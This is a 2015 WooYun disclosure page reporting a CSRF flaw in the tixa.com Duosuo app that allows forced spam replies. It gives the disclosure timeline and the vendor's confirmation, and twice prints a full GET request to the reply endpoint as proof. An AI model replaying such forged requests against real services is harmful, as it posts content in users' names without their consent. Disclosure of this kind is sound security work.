WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096715

漏洞标题：天下互联旗下哆嗦APP设计不当可导致csrf刷屏

相关厂商：tixa.com

漏洞作者： 小龙

提交时间：2015-02-14 17:45

修复时间：2015-03-31 17:46

公开时间：2015-03-31 17:46

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-02-14： 细节已通知厂商并且等待厂商处理中
2015-02-14： 厂商已经确认，细节仅向厂商公开
2015-02-24： 细节向核心白帽子及相关领域专家公开
2015-03-06： 细节向普通白帽子公开
2015-03-16： 细节向实习白帽子公开
2015-03-31： 细节向公众公开

简要描述：

续上次http://wooyun.org/bugs/wooyun-2015-090875

详细说明：

/api_utf/mutual/mShout/replyMShout.jsp?accountId=234641&spaceId=5&receiverAccountId=234678&commentContent=wooyun&appId=327443&appType=80&title=wooyun&lat=23.118978&lng=114.431373&address=%E5%B9%BF%E4%B8%9C%E7%9C%81%E6%83%A0%E5%B7%9E%E5%B8%82%E6%83%A0%E5%9F%8E%E5%8C%BA%E4%BA%91%E5%B1%B1%E4%B8%9C%E8%B7%AF8%E5%8F%B7&fileType=0&fileTime=0&apiCode=hQ0SC62RR6OzUwj0WNC3QQYKwXw0TvCq&vn=1.2.1&vc=74&isRelease=1&ak=3000&clientType=1 HTTP/1.1

漏洞证明：

/api_utf/mutual/mShout/replyMShout.jsp?accountId=234641&spaceId=5&receiverAccountId=234678&commentContent=wooyun&appId=327443&appType=80&title=wooyun&lat=23.118978&lng=114.431373&address=%E5%B9%BF%E4%B8%9C%E7%9C%81%E6%83%A0%E5%B7%9E%E5%B8%82%E6%83%A0%E5%9F%8E%E5%8C%BA%E4%BA%91%E5%B1%B1%E4%B8%9C%E8%B7%AF8%E5%8F%B7&fileType=0&fileTime=0&apiCode=hQ0SC62RR6OzUwj0WNC3QQYKwXw0TvCq&vn=1.2.1&vc=74&isRelease=1&ak=3000&clientType=1 HTTP/1.1

修复方案：

版权声明：转载请注明来源 小龙@乌云

漏洞回应